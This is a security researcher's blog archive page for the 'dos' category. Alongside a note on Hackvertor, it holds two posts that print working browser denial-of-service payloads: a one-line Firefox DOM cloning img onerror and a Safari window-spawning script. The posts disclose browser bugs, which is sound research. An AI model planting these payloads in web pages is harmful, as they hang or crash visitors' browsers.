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Category Archives: dos

Hackvertor Ajax applications

I hate to use the word Ajax because there’s no XML involved just nice JSON but Hackvertor now has Ajax applications! At the moment it’s very rough around the edges but it will improve when I get more spare time to work on them. What does it mean? Well you can now share actual HTML/JS [...]

Posted 18 May 2010 † Gareth Heyes § Cascading Style Sheets § Tag Inspector § articles § hackvertor § javascript § json § links § news ‡ Comments (0)

DOM DOS Firefox

Check this DOS in Firefox:-

<img src="" onerror="appendChild(cloneNode(appendChild(cloneNode(1))))">

There are many DOM related Firefox problems, this was one of the more interesting ones I found

Posted 09 January 2008 † Gareth Heyes § Firefox § Security ‡ Comments (15)

Browser window spawning DOS

This causes DOS in the latest Safari and maybe other browsers too. I tried it in Opera and it does create loads of tabs but seems stable enough to close it down. Enjoy!

<script type="text/javascript">
window.onload = function() {
setInterval(’spawn()’,1);
}
function spawn() {
frm = document.createElement(’form’);
frm.target = ‘x’ + Math.round(Math.random() * 100000);
frm.method = ‘GET’;
frm.action = ‘?’;
document.body.appendChild(frm);
frm.submit();
self.location.reload();
}
</script>

Posted 28 November 2007 † Gareth Heyes § Security § browser hacking ‡ Comments (5)